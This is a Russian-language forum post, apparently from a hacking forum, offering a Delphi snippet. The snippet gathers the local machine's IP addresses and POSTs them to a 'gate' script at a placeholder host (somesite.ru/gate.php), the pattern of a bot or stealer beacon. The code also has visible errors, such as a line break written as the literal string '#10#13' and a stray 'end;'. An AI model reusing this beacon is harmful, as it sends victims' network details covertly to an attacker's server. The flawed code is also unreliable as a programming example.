
23.04.2010, 07:14
|
|
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме: 500264
Репутация:
69
|
|
уж не так то это и сложно))
Код:
uses idHTTP;
........
Function LocalIP : string;
type
TaPInAddr = array [0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe : PHostEnt;
pptr : PaPInAddr;
Buffer : array [0..63] of char;
I : Integer;
GInitData : TWSADATA;
Begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe :=GetHostByName(buffer);
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
// Phe^.h_addr_list - должен содержать IPдля всех интерфейсов.
I := 0;
while pptr^[I] <> nil do begin
// приводим их по очерёдности к нормальному виду
Result := Result + StrPas(inet_ntoa(pptr^[I]^)) + '#10#13' ;
Inc(I);
end;
WSACleanup;
End;
// процедура для отсылки Ip на гейт
procedure SendIp;
var
HTTP : TidHTTP;
Str : TStringList;
begin
HTTP := TidHTTP.Create(nil);
Str := TStringList.Create;
Str.Add('ip=' + LocalIp);
HTTP.Post('http://somesite.ru/gate.php', str);
Str.free;
HTTP.Free;
end;
end;
|
|
|